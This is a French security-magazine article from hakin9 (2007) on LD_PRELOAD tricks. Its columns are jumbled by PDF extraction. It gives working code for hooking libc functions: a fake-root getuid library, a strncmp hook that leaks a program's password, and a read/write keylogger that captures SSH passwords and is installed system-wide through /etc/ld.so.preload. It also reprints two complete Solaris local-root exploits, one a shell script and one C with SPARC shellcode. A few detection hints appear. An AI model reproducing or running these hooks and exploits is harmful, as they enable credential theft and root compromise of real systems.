Vous êtes sur la page 1sur 9

Quelques astuces

avec LD_PRELOAD
Pratique

Stefan Klaas

Degré de difficulté

LD_PRELOAD est une variable d’environnement qui nous permet


de spécifier une bibliothèque partagée qui sera chargée au
démarrage d’un programme. Nous apprendrons quelques astuces
intéressantes et très puissantes avec cette petite variable. Ceci
nous ouvre beaucoup de possibilités dans la manipulation de
programmes.

L
D_PRELOAD est une variable d’environ- flag : -static ait été passée au LD pendant la
nement qui spécifie quelles bibliothèques phase de compilation alors les bibliothèques
partagées seront chargées avec les pro- dynamiques seront ignorées.
grammes à l’exécution. Lorsque cette variable est En outre, un programme lié statiquement ne
définie, l’éditeur de liens chargera cette bibliothè- chargera pas les bibliothèques partagées. Sur
que avant toutes les autres. Ceci nous permet de les systèmes d’exploitation UNIX, les bibliothè-
hacker des fonctions qui appartiennent normale- ques partagées varient. Celles que vous avez
ment à la librairie C (libc.so). Cependant, il y a un probablement vues sont : ld-linux.so (Linux)
mécanisme de sécurité qui empêche les binaires et ld.so (BSD). Leur comportement change
de charger une bibliothèque avec LD _ PRELOAD. selon un ensemble de variables d’environne-
Évidemment, ceci a un sens, mais il y a eu des ment spécifiques. C’est ici qu’entre en jeu les
astuces pour contourner cela.
La plupart ont cependant été fixées. Avant
que nous commencions à vous montrer cer- Cet article explique...
taines techniques, regardons d’abord certaines
informations de fond. Si vous êtes familiarisé avec • Hijacking syscalls (system call tracing) avec
LD_PRELOAD.
l’éditeur de liens dynamiques (Dynamic Linker) et
• Sniffing des différents protocoles utilisateurs.
si vous savez ce que sont les bibliothèques par-
• Faire du reversing des exécutables liés dy-
tagées, vous pouvez passer les deux prochaines namiquement.
parties.

Le dynamic linker Ce qu'il faut savoir...


Voyons ce qu’est le dynamic linker. Un éditeur
de liens dynamiques fait partie du système • Vous devriez être familiarisé avec le système
d’exploitation et est responsable du chargement d’exploitation Linux, des connaissances en
et de l’enchaînement des bibliothèques partagées langage C seront également utiles.
pour un programme à l’exécution, à moins que la

68 hakin9 Nº 6/2007 www.hakin9.org


Quelques astuces avec LD_PRELOAD

LD _ PRELOAD, mais il y a également les les privilèges, alors attendez un peu à l’exécution d’un programme et faire
LD _ DEBUG ou LD _ LIBRARY _ PATH. et lisez la suite. tout cela tandis que les programmes
Vous pouvez prendre con- sont exécutés en utilisant des biblio-
naissance de l’ensemble de ces Bibliothèques thèques existantes.
variables dans le man de Linux : partagées La création d’une bibliothèque
ld.so. Voyons simplement la varia- Les bibliothèques partagées sont partagée est similaire à celle d’une
ble d’environnement : LD _ PRELOAD chargées par des programmes au bibliothèque statique. Compilez une
(Cf. Listing 1). démarrage. Si une bibliothèque par- liste de fichiers objets, puis insérez-
On peut surcharger les fonctions. tagée est installée correctement, tous les tous dans un fichier de biblio-
Ceci est très intéressant et nous les programmes qui démarrent après thèque partagée. Mais il y a deux
ouvre des possibilités intéressantes. utilisent automatiquement la nouvelle différences majeures : la compilation
Comme vous pouvez le voir, pour des bibliothèque partagée. Cela permet pour un code positionné indépen-
binaires à setuid , LD _ PRELOAD peut de mettre à jour ces bibliothèques tout demment et la création de fichier de
seulement lier d’autres bibliothèques en supportant le logiciel qui a besoin bibliothèque.
de type suid . Maintenant, si vous d’une ancienne version, ou de sur-
pensez que cela élimine en cascade charger des bibliothèques spécifiques Position
Independent Code (ou PIC)
Listing 1. LD_PRELOAD Page du manuel Quand les fichiers objets sont géné-
rés, nous n’avons aucune idée de l'en-
LD_PRELOAD droit où ils seront insérés au niveau
A whitespace-separated list of additional, user-specified, ELF shared
de la mémoire dans un programme.
libraries to be loaded before all others. This can be used to
selectively override functions in other shared libraries. For setuid/
Divers programmes peuvent accéder
setgid ELF binaries, only libraries in the standard search directories à la même bibliothèque, et chacun
that are also setuid will be loaded. les chargeant dans une adresse
mémoire différente. Nous avons donc
Listing 2. Bibliothèques avec fonctions de remplacement besoin que les appels à chaque saut
sk@Server:/tmp> cat lib.c
etc. utilisent des adresses relatives et
int getuid() { return(0); } non pas absolues.
int geteuid() { return(0); } Ceci signifie que nous devons
int getgid() { return(0); } utiliser un compilateur de type drapeau
int getegid() { return(0); }
(flag) spécifique qui provoquera la
génération de ce code. Dans gcc, ceci
Listing 3. Tester la bibliothèque
est fait en spécifiant le drapeau : -fPIC
sk@Server:/tmp> id ou -fpic en ligne de commande.
uid = 65001(sk) gid = 100(users) groups = 16(dialout), 33(video), 100(users)
sk@Server:/tmp> export LD_PRELOAD = /tmp/fakesuid.so Création
sk@Server:/tmp> id
uid = 0(root) gid = 0(root) groups = 16(dialout),33(video),100(users)
de fichier de bibliothèque
sk@Server:/tmp> Comparé a une bibliothèque statique,
une bibliothèque partagée n’est pas
Listing 4. Le programme IDD un fichier archivé.
Elle a un format spécifique
sk@Server:/tmp> ldd /usr/bin/id
à l’architecture pour laquelle elle est
/tmp/fakesuid.so (0x40018000)
linux-gate.so.1 => (0xffffe000) créée. Nous devons donc indiquer
libselinux.so.1 => /lib/libselinux.so.1 (0x40026000) au compilateur qu’il devrait créer une
libc.so.6 => /lib/tls/libc.so.6 (0x40035000) bibliothèque partagée, pas un simple
/lib/ld-linux.so.2 (0x40000000) exécutable. Ceci est réalisable avec
sk@Server:/tmp>
le drapeau (indicateur informant si une
condition est remplie ou pas) : -shared .
Listing 5. Le programme du fichier
Au moment de la compilation,
Server:~/ld_preload # gcc bin.c -static nous demandons à l’éditeur de liens
Server:~/ld_preload # file a.out d’analyser la bibliothèque partagée
a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for
tout en construisant le programme
GNU/Linux 2.2.5, statically linked, not stripped
Server:~/ld_preload # file /bin/ls
exécutable, ainsi on veillera à ce qu’il
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for n’y ait aucun symbole manquant.
GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped En revanche, cela ne prend pas
Server:~/ld_preload # réellement les fichiers objets depuis la
bibliothèque partagée en les insérant

www.hakin9.org hakin9 Nº 6/2007 69


Pratique

dans le programme. À l’exécution, cela Il n’est pas si compliqué de hacking Nous la laissons toujours retourner : 0
signifie que lorsque nous exécutons une fonction. (Cf. Listing 2). Ensuite nous compi-
le programme nous avons besoin de Tout ce que vous devez faire est lons la bibliothèque :
dire à l’éditeur de liens du système où créer une copie de la fonction d’ori-
trouver notre bibliothèque partagée. gine et ajouter les fonctionnalités que sk@Server:/tmp> gcc -shared lib.c -o
vous voulez. Ensuite vous compilez /tmp/fakesuid.so
Hijacking les fonctions en bibliothèque et ex-
portez la variable LD _ PRELOAD ainsi Maintenant il nous suffit de la
syscalls avec LD_
n’importe quel programme qui n’est charger et nous obtenons un faux
PRELOAD /exemples : pas suid se chargera immédiate- id root (Cf. Listing 3). Cette astuce
faux root uid ment. a été utilisée dans des exploits
Ok, maintenant vous en savez assez Pour démarrer, nous hackerons truqués (portes dérobées) pour faire
pour commencer des choses intéres- les fonctions getuid() pour afficher croire à l’utilisateur que l’exploit avait
santes. Puisque nous pou-vons indi- uid=0 même si nous sommes simple- réussi, tandis qu’en réalité du code
quer à un programme de charger une ment logué comme simple utilisateur. malveillant est executé sans que
bibliothèque hostile, nous pouvons Nous créons nos petites bibliothèques l’utilisateur en ait connaissance.
prendre le contrôle de ce programme. avec les fonctions de remplacement. Avec le programme ldd vous pou-
vez visualiser les dépendances de la
Listing 6. Programme de test avec protection bibliothèque ou l' exécuter. Ici vous
pouvez voir que notre bibliothèque
Server:~/ld_preload # cat bin.c a été chargée. C’est également une
#include <stdio.h>
manière de détecter de telles super-
#include <string.h>
#include <unistd.h>
cheries, au cas où vous pensiez que
#define PASSWORD "let-me-in" votre système ait été compromis. Ce-
#define MAXBUFF 1024 pendant, il y a aussi des façons pour un
int main() { attaquant de contrecarrer la détection
avec ldd. Rappelez-vous, l’attaquant
char buffer[MAXBUFF];
char *msg="Please enter password:\t";
peut remplacer n’importe quelle fonc-
char *p=PASSWORD; tion, il peut donc également embrouiller
printf(msg); les résultats (en sorties) de n’importe
fgets(buffer,255,stdin); quel programme et cacher ainsi la bi-
if (strncmp(p,buffer,strlen(p))==0) {
bliothèque chargée dans une liste.
printf("Success!\n");
exit(0);
Lorsque nous aborderons la sec-
} tion : Préchargement Global vous
printf("Wrong password!\n"); verrez d’autres techniques de dé-
exit(0); tection, ne vous inquiétez donc pas.
}
C’est tout ce que vous devez savoir !
Server:~/ld_preload #
Maintenant vous pouvez hacker n’im-
Listing 7. Compilation et exécution du programme porte quelle fonction.
Avec ces acquis, nous pouvons
Server:~/ld_preload # gcc bin.c -o bin aborder des techniques plus avan-
Server:~/ld_preload # ./bin
cées. Nous les emploierons dans
Please enter password: fddsfsdfd
Wrong password!
tout l'article dorénavant, si vous
n’avez pas encore compris, vous
Server:~/ld_preload # ./bin devriez à nouveau relire les paragra-
Please enter password: let-me-in phes précédents. Une autre chose
Success!
importante à dire est que le débutant
Server:~/ld_preload #
peut rencontrer des difficultés après
Listing 8. Bibliothèque avec sa propre implémentation de : strncmp l’activation de la bibliothèque. Cer-
tains programmes peuvent ne plus
Server:~/ld_preload # cat strncmp.c fonctionner correctement si certaines
#include <string.h> fonction-nalités sont remplacées.
int strncmp(const char *s1, const char *s2, size_t n) {
Au cas où vous resteriez coincé
printf("strncmp arguments: %s and %s-size: %d\n", s1, s2, n);
} avec des messages d’erreur en tentant
Server:~/ld_preload # d’exécuter des programmes, exportez
alors simplement LD _ PRELOAD="" et
tout reviendra à la normale. Autre

70 hakin9 Nº 6/2007 www.hakin9.org


Quelques astuces avec LD_PRELOAD

astuce pratique pour voir si un binaire 2 chaînes, pas seulement celle rentrée, Sniffing des divers
est statique ou dynamique, vous mais aussi celle que le programme
pouvez utiliser l’utilitaire : file. Il vous attend, qui est le mot de passe actuel.
protocoles dans
montrera exactement quel format a un Bien évidemment il y a des méthodes l’userland /exemples :
fichier et comment il a été compilé. de protection beaucoup plus avancés, ssh,ftp,http,smtp
mais elles peuvent aussi être attaqués L’une des choses les plus intéres-
avec la méthode de remplacement de santes que nous pouvons faire est
Reversing avec fonctions. de réaliser un sniff de certains proto-
les exécutables liés
dynamiquement Listing 9. Essai de l’attaque
La variable LD _ PRELOAD peut même
être utilisée pour récupérer des mots Server:~/ld_preload # gcc strncmp.c -shared -o strncmp.so
Server:~/ld_preload # export LD_PRELOAD = 'pwd' /strncmp.so
de passe protégés. Il est très facile de
Server:~/ld_preload # ./bin
récupérer certaines protections par Please enter password: test
mot de passe. Ce que nous devons strncmp arguments: let-me-in and test
faire, c’est remplacer la fonction res- -size: 9
ponsable de l’authentification. Nous Wrong password!
Server:~/ld_preload #
jetterons un coup d'oeil à la protection
par mot de passe: strcmp/strncmp.
Listing 10. Bibliothèque Sniffer
C’est l’une des protections les plus
faibles, mais nous l’emploierons pour #include <stdlib.h>
illustrer la technique. Il sera ainsi plus #include <unistd.h>
#include <sys/types.h>
aisé pour vous de comprendre. Très
#include <sys/stat.h>
bien, d’abord il nous faut un program- #include <fcntl.h>
me protégé. Nous en avons écrit un. #define LOGFILE "/tmp/logfile.txt"
Voyons comment il est (Cf. Listing 6). static int fd=-1;
Il n’a comme utilité que l’affichage per- ssize_t read(int fd, void *buf, size_t count) {
ssize_t rd = __read(fd,buf,count);
mettant de savoir si le mot de passe
/* here we call the real read() function and save the return value */
est bon ou pas. Parfait pour nous if (rd > 0) {
à comprendre. Pas besoin de rentrer fd = open(LOGFILE,O_RDWR | O_CREAT | O_APPEND, 0755);
dans du code trop compliqué. /* create or append to logfile */
Bon, ok on a le programme, que if (fd > 0) {
__write(fd,buf,rd);
faire maintenant ? Peut-être l’avez-
/* call real write() and write all data to the logfile */
vous déjà deviné, nous créons une }
bibliothèque partagée qui rempla- }
cera la fonction originale : strncmp() return(rd); /* return the response of the original read() call */
avec la notre. Elle affichera simple- }
ssize_t write(int fd, const void *buf, size_t count) {
ment les paramètres qui lui ont été
ssize_t wr = __write(fd,buf,count);
passés. Cela devrait indiquer le mot if (wr > 0) {
de passe que le programme attend. fd = open(LOGFILE,O_RDWR | O_CREAT | O_APPEND, 0755);
D’abord nous compilons, puis if (fd > 0) {
l’exécutons normalement (voyez le __write(fd,buf,wr);
}
Listing 7). Maintenant, nous devons
}
créer notre bibliothèque avec la return(wr);
fonction de remplacement. }
Dans ce cas strncmp : Listing 8.
Tout est prêt pour l’attaque. Nous Listing 11. Attaquer SSH
compilons la bibliothèque partagée,
Server:~/ld_preload # gcc -shared evil_lib.c -o evil.so
nous préchargeons puis lançons
Server:~/ld_preload # export LD_PRELOAD = 'pwd' /evil.so
l’exécutable du programme protégé Server:~/ld_preload # ssh localhost
(Cf. Listing 9). Password:
Et ça y est, vous venez de récupérer <ctrl-c>
le mot de passe ! Ce qui se passe c’est Server:~/ld_preload # strings /tmp/logfile.txt | grep Password
Password: this is the password
que les fonctions : strcmp et strncmp
Password:
comparent si 2 chaînes correspondent. Server:~/ld_preload #
En remplacant cette fonction et en affi-
chant les arguments nous obtenons les

www.hakin9.org hakin9 Nº 6/2007 71


Pratique

coles avec l’utilisation d’une bibliothè- thèque avec des commentaires. protocole. Vous pouvez l’utiliser
que partagée et de LD _ PRELOAD. Ok, nous avons notre bibliothèque, pour reconstruire des données ftp
Le mieux est qu’il n’y ait pas be- tout est prêt pour le test. Nous et même des binaires, des sessions
soin d’avoir de capacités à coder en compilons la bibliothèque de la telnet ou ssh en entier et bien plus
Kernel. Tout est dans userland . même manière que dans la section encore. Vous pourriez même l’utiliser
Ok, réfléchissons d’abord à ce précédente et exportons la varia- pour hacker des sessions ou bloquer
dont on a besoin. Nous devons ble LD _ PRELOAD . certaines connexions.
trouver quelles fonctions sont Maintenant essayez de faire du On peut ainsi créer un rootkit
responsables des affichages, où ssh vers une machine distante, ou type userland. Comme vous le
l'on doit faire le sniffing. Nous faites: ssh localhost et login, faites savez, à partir de modules kernel,
nous concentrerons sur les mots quelque chose puis quittez. Si tout on peut charger kernel ou infecter la
de passe. Dans notre cas, nous s’est bien passé, nous avons le mot mémoire.
sauvegardons n’importe quelle de passe en texte clair dans notre
donnée en faisant le hacking des fichier Log. Essayons. Nous entre- Préchargement Global
appels systèmes (systemcalls) : rons juste un faux mot de passe (Cf. Comment exporter notre biblio-
read() et write() et parserons le Listing 11). thèque partagée globalement ? Il
reste des affichages plus tard. Içi Comme vous pouvez le voir, nous serait d’aucune utilité si nous devions
nous aurons la chance d’avoir des avons entré le mot de passe. ajouter un loader a un fichier comme
données intéressantes. Bien sûr L’affichage inclut des données : .bashrc et qui fonctionnerait seule-
vous pouvez parser l’affichage di- binaires, en utilisant la commande ment sur un utilisateur spécifique. Eh
rectement pour sauvegarder seule- : strings, nous obtenons seulement bien, c’est pour cela qu’il y a deux
ment certaines données telles que du texte ascii comme c’est tout manières de charger des bibliothè-
les chaînes : Password, mais nous ce que nous souhaitons pour le ques préchargées.
essayons de nous loguer au tra- moment. Vous pourriez créer un log Premièrement en mettant le che-
vers d’une session ssh complète. complet d’une session Shell. min de la bibliothèque dans la variable
Dans le Listing 10, vous trouverez Avec cette méthode vous pouvez : LD _ PRELOAD et deuxièmement en
le code maléfique de notre biblio- effectuer un Sniff virtuel de chaque placant le nom de la bibliothèque
avec son chemin complet dans le
fichier : /etc/ld.so.preload. Créez-le
et mettez y le chemin d’accès, c’est
tout. La bibliothèque sera chargée au
niveau système. Mais rappelez-vous,
ceci n’affecte pas les programmes
liés statiquement.
Bon, essayons ceci avec le code
Figure 1. Attaque SSH précédent. Nous le laissons charger
globalement pour n’importe quel
utilisateur.
Avant tout, compilons notre biblio-
thèque partagée et plaçons-la dans :
/tmp afin que chaque utilisateur y ait
accès (Cf. Figure 1.). Rappelez – vous
de placer la bibliothèque dans un ré-
pertoire qui a les droits d’accès pour
chaque utilisateur autorisé.
Figure 2. Chemin d’accès et nom de la bibliothèque Nous devons écrire le chemin
d’accès et le nom de fichier de notre
bibliothèque dans : /etc/ld.so.preload
(Cf. Figure 2).
Maintenant que tout est prêt,
la bibliothèque devrait charger
globalement, on le change pour
un utilisateur classique et nous
l’essayons. Comme vous pouvez le
voir sur la capture d'écran (Cf. Figure
3) on fait un ssh vers le localhost
Figure 3. SSH en Localhost et entrons le mot de passe, dans

72 hakin9 Nº 6/2007 www.hakin9.org


Quelques astuces avec LD_PRELOAD

notre cas c’est : this is my password,


Listing 12. Exploit libnspr sous Solaris ensuite nous regardons pour notre
#!/bin/sh
fichier log et vérifions si notre mot de
# $Id: raptor_libnspr2,v 1.4 2006/10/16 11:50:48 raptor Exp $ passe a été loggué.
# Comme vous le voyez, tout
# raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit fonctionne parfaitement. Le fichier log
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
s’est agrandi, parce que nous loguons
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
n’importe quelle opération read() ou
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to write() et ainsi ceci amène un lot de
# create or overwrite arbitrary files on the system. The problem exists données inutiles. C’est pour cela que
# because environment variables are used to create log files. Even when the je conserve mon exemple comme une
# program is setuid, users can specify a log file that will be created with
exercice, c’est au lecteur intéressé de
# elevated privileges (CVE-2006-4842).
#
parser les données résultantes et
# Newschool version of local root exploit via LD_PRELOAD (hi KF!). Another intéressantes pour le log.
# possible (but less l33t;) attack vector is /var/spool/cron/atjobs. Une bonne astuce pour vous
# permettre de faire le tri est de tracer
# See also: http://www.0xdeadbeef.info/exploits/raptor_libnspr
le(s) daemon(s) que vous voulez
#
# Usage:
analyser (sniffing) et vérifier les
# $ chmod +x raptor_libnspr2 descripteurs et les parsers dans le
# $ ./raptor_libnspr2 code i.e. If(fd==2) mais également
# [...] vérifier si l’appel a été effectué
# Sun Microsystems Inc. SunOS 5.10 Generic January 2005
à partir d’un terminal avec la fonction :
# # id
isatty().
# uid=0(root) gid=0(root)
# # rm /usr/lib/secure/getuid.so C’est également une manière de
# # détecter les attaques LD _ PRELOAD.
# Vulnerable platforms (SPARC): Souvent le fichier : /etc/ld.so.preload
# Solaris 10 without patch 119213-10 [tested]
n’existe même pas, alors quand il
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
existe, analysez les bibliothèques
echo "raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit" incluses et débuggez-les pour voir si
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>" elles sont hostiles.
echo
# prepare the environment Privilèges en cascades
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/usr/lib/secure/getuid.so
avec LD_PRELOAD
export NSPR_LOG_MODULES NSPR_LOG_FILE Un Bug intéressant sur le système
# gimme -rw-rw-rw-! d’exploitation Solaris qui a été publié
umask 0 cette année utilise LD _ PRELOAD pour
# setuid program linked to /usr/lib/mps/libnspr4.so
exploiter une faille. La vulnérabilité
/usr/bin/chkey
# other good setuid targets
est provoquée par une utilisation non
#/usr/bin/passwd sécurisée des variables d’environ-
#/usr/bin/lp nement avec le : Netscape Portable
#/usr/bin/cancel Runtime (NSPR).
#/usr/bin/lpset
Ceci peut-être exploité afin de
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
réécrire des fichiers arbitraires ou
#/usr/lib/sendmail obtenir des privilèges en cascade.
#/usr/sbin/lpmove Le code pour cet exploit est très
#/usr/bin/login petit, facile à comprendre et très bien
#/usr/bin/su
commenté.
#/usr/bin/mailq
# prepare the evil shared library
Je l’incluerais dans l’annexe. En
echo "int getuid(){return 0;}" > /tmp/getuid.c plus de cela, nous incluerons égale-
gcc -fPIC -Wall -g -O2 -shared -o /usr/lib/secure/getuid.so /tmp/getuid.c -lc ment un exploit pour un débordement
if [ $? -ne 0 ]; then de pile qui existait en provoquant le dé-
echo "problems compiling evil shared library, check your gcc"
bordement de la variable LD _ PRELOAD
exit 1
fi
directement. Ceci est l’un des bugs
# newschool LD_PRELOAD foo;) les plus récents, mais il y a eu quel-
unset NSPR_LOG_MODULES NSPR_LOG_FILE ques vulnérabilités qui impliquaient
LD_PRELOAD=/usr/lib/secure/getuid.so su - LD _ PRELOAD dans le passé. Voyons
quelques autres Bugs.

www.hakin9.org hakin9 Nº 6/2007 73


Pratique

Listing 13. Exploit de l’éditeur de lien à l’exécution "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\


x90\x03\ xe0\x20"
sous Solaris
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\
/* xc0\x22\x20\x14"
* $Id: raptor_ldpreload.c,v 1.1 2004/12/04 14:44:38 "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
* raptor Exp $ raptor_ldpreload.c - ld.so.1 local, /* globals */
* Solaris/SPARC 2.6/7/8/9 Copyright (c) 2003-2004 Marco char *env[256];
* Ivaldi <raptor@0xdeadbeef.info> int env_pos = 0, env_len = 0;
* Stack-based buffer overflow in the runtime linker, /* prototypes */
* ld.so.1, on Solaris 2.6 through 9 allows local users to int add_env(char *string);
* gain root privileges via a long LD_PRELOAD void check_zero(int addr, char *pattern);
* environment variable (CAN-2003-0609). int search_ldso(char *sym);
* int search_rwx_mem(void);
* This exploit uses the ret-into-ld.so technique, to void set_val(char *buf, int pos, int val);
* effectively bypass the non-executable stack protection /*
* (noexec_user_stack=1 in /etc/system). This is a weird * main()
* vulnerability indeed: the standard ret-into-stack */
* doesn't seem to work properly for some reason int main(int argc, char **argv) {
* (SEGV_ACCERR), and at least my version of Solaris 8 char buf[BUFSIZE], ff[FFSIZE];
* (Generic_108528-13) is very hard to exploit (how to char platform[256], release[256];
* reach ret?). int i, offset, ff_addr, sc_addr, str_addr;
* int plat_len, prog_len, rel;
* Usage: char *arg[2] = {"foo", NULL};
* $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall int arg_len = 4, arg_pos = 1;
* $ ./raptor_ldpreload int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
* [...] int ret = search_ldso("strcpy");
* # id int rwx_mem = search_rwx_mem();
* uid=0(root) gid=1(other) /* print exploit information */
* # fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
* /* get some system information */
* Vulnerable platforms: sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
* Solaris 2.6 with 107733-10 and without 107733-11 sysinfo(SI_RELEASE, release, sizeof(release) - 1);
* [untested] rel = atoi(release + 2);
* Solaris 7 with 106950-14 through 106950-22 and without /* prepare the evil buffer */
* 106950-23 [untested] memset(buf, 'A', sizeof(buf));
* Solaris 8 with 109147-07 through 109147-24 and without buf[sizeof(buf) - 1] = 0x0;
* 109147-25 [untested] memcpy(buf, "LD_PRELOAD=/", 12);
* Solaris 9 without 112963-09 [tested] buf[sizeof(buf) - 2] = '/';
*/ /* prepare the fake frame */
#include <dlfcn.h> bzero(ff, sizeof(ff));
#include <fcntl.h> /*
#include <link.h> * saved %l registers
#include <procfs.h> */
#include <stdio.h> set_val(ff, i = 0, DUMMY); /* %l0 */
#include <stdlib.h> set_val(ff, i += 4, DUMMY); /* %l1 */
#include <strings.h> set_val(ff, i += 4, DUMMY); /* %l2 */
#include <unistd.h> set_val(ff, i += 4, DUMMY); /* %l3 */
#include <sys/systeminfo.h> set_val(ff, i += 4, DUMMY); /* %l4 */
#define INFO1 "raptor_ldpreload.c - ld.so.1 local, set_val(ff, i += 4, DUMMY); /* %l5 */
Solaris/SPARC 2.6/7/8/9" set_val(ff, i += 4, DUMMY); /* %l6 */
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi set_val(ff, i += 4, DUMMY); /* %l7 */
<raptor@0xdeadbeef.info>" /*
#define VULN "/usr/bin/su" // default setuid target * saved %i registers
#define BUFSIZE 1700 // size of the evil buffer */
#define FFSIZE 64 + 1 // size of the fake frame set_val(ff, i += 4, rwx_mem);
#define DUMMY 0xdeadbeef // dummy memory address /* %i0: 1st arg to strcpy() */
#define ALIGN 3 // needed address alignment set_val(ff, i += 4, 0x42424242);
/* voodoo macros */ /* %i1: 2nd arg to strcpy() */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8- set_val(ff, i += 4, DUMMY); /* %i2 */
_%4:4-_%4;} set_val(ff, i += 4, DUMMY); /* %i3 */
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} set_val(ff, i += 4, DUMMY); /* %i4 */
char sc[] = set_val(ff, i += 4, DUMMY); /* %i5 */
/* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */ set_val(ff, i += 4, sb - 1000);
/* setuid() */ /* %i6: frame pointer */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" set_val(ff, i += 4, rwx_mem - 8);
/* execve() */ /* %i7: return address */

74 hakin9 Nº 6/2007 www.hakin9.org


Quelques astuces avec LD_PRELOAD

Listing 13. Exploit de l’éditeur de lien à l’exécution for (i = 0; i < (4 - ((strlen(string)+1)%4));


i++, env_pos++) {
sous Solaris -suite
env[env_pos] = string + strlen(string);
/* fill the envp, keeping padding */ env_len++;
sc_addr = add_env(ff); }
str_addr = add_env(sc); return(env_len);
add_env("bar"); }
add_env(buf); /*
add_env(NULL); * check_zero(): check an address for the presence of
/* calculate the offset to argv[0] (voodoo magic) */ * a 0x00
plat_len = strlen(platform) + 1; */
prog_len = strlen(VULN) + 1; void check_zero(int addr, char *pattern) {
offset = arg_len + env_len + plat_len + prog_len; if (!(addr & 0xff) || !(addr & 0xff00) || !(addr &
if (rel > 7) VOODOO64(offset, arg_pos, env_pos) 0xff0000) || !(addr & 0xff000000)) {
else VOODOO32(offset, plat_len, prog_len) fprintf(stderr, "Error: %s contains a 0x00!\n",
/* calculate the needed addresses */ pattern);
ff_addr = sb - offset + arg_len; exit(1);
sc_addr += ff_addr; }
str_addr += ff_addr; }
/* set fake frame's %i1 */ /*
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ * search_ldso(): search for a symbol inside ld.so.1
/* fill the evil buffer */ */
for (i = 12 + ALIGN; i < 1296; i += 4) int search_ldso(char *sym) {
set_val(buf, i, str_addr); /* must be a valid string */ int addr;
/* to avoid distance bruteforcing */ void *handle;
for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) { Link_map *lm;
set_val(buf, i, ff_addr); /* open the executable object file */
set_val(buf, i += 4, ret - 4); if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY))
/* strcpy(), after the save */ == NULL) {
} perror("dlopen");
/* print some output */ exit(1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", }
platform, release); /* get dynamic load information */
fprintf(stderr, "Using stack base\t: 0x%p\n", if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
(void *)sb); perror("dlinfo");
fprintf(stderr, "Using string address\t: 0x%p\n", exit(1);
(void *)str_addr); }
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", /* search for the address of the symbol */
(void *)rwx_mem); if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "Using sc address\t: 0x%p\n", fprintf(stderr, "sorry, function %s() not found\n",
(void *)sc_addr); sym);
fprintf(stderr, "Using ff address\t: 0x%p\n", exit(1);
(void *)ff_addr); }
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", /* close the executable object file */
(void *)ret); dlclose(handle);
/* run the vulnerable program */ check_zero(addr - 4, sym);
execve(VULN, arg, env); return(addr);
perror("execve"); }
exit(0); /*
} * search_rwx_mem():
/* * search for an RWX memory segment
* add_env(): add a variable to envp and pad if needed * valid for all programs (typically, /usr/lib/ld.so.1)
*/ * using the proc filesystem
int add_env(char *string) { */
int i; int search_rwx_mem(void) {
/* null termination */ int fd;
if (!string) { char tmp[16];
env[env_pos] = NULL; prmap_t map;
return(env_len); int addr = 0, addr_old;
} /* open the proc filesystem */
/* add the variable to envp */ sprintf(tmp,"/proc/%d/map", (int)getpid());
env[env_pos] = string; if ((fd = open(tmp, O_RDONLY)) < 0) {
env_len += strlen(string) + 1; fprintf(stderr, "can't open %s\n", tmp);
env_pos++; exit(1);
/* pad the envp using zeroes */ }
if ((strlen(string) + 1) % 4)

www.hakin9.org hakin9 Nº 6/2007 75


Pratique

XF86
La vulnérabilité du chemin de re- Listing 13. Exploit de l’éditeur de lien à l’exécution sous Solaris - suite
cherche dans : libX11.so et xfree86, /* search for the last RWX memory segment before stack (last - 1) */
lorsqu’il est utilisé dans des program- while (read(fd, &map, sizeof(map)))
mes setuid ou setgid , permet aux utili- if (map.pr_vaddr)
sateurs locaux d’obtenir des privilèges if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
root via une variable d’environnement
addr = map.pr_vaddr;
LD _ PRELOAD modifiée redirigeant vers }
un module malveillant.
close(fd);
LIDS /* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff)) addr_old |= 0x04;
L’utilisation de LD _ PRELOAD peut faire
if (!(addr_old & 0xff00)) addr_old |= 0x0400;
en sorte qu’un programme avec des return(addr_old);
privilèges donnés par LIDS exécute }
le code du hacker. Cela signifie qu’un /*
intrus root peut avoir l’ensemble * set_val(): copy a dword inside a buffer
*/
des droits ou un accès fs que vous
avez accordé après configuration de void set_val(char *buf, int pos, int val) {
LIDS. D’ailleurs, si vous avez donné buf[pos] = (val & 0xff000000) >> 24;
la permission CAP _ SYS _ RAWIO ou buf[pos + 1] = (val & 0x00ff0000) >> 16;
CAP _ SYS _ MODULE a un programme, buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
un attaquant pourrait désactiver LIDS
}
et ainsi, accéder à n’importe quel fi-
chier. Dans certaines configurations,
ceci aboutit à des utilisateurs pouvant
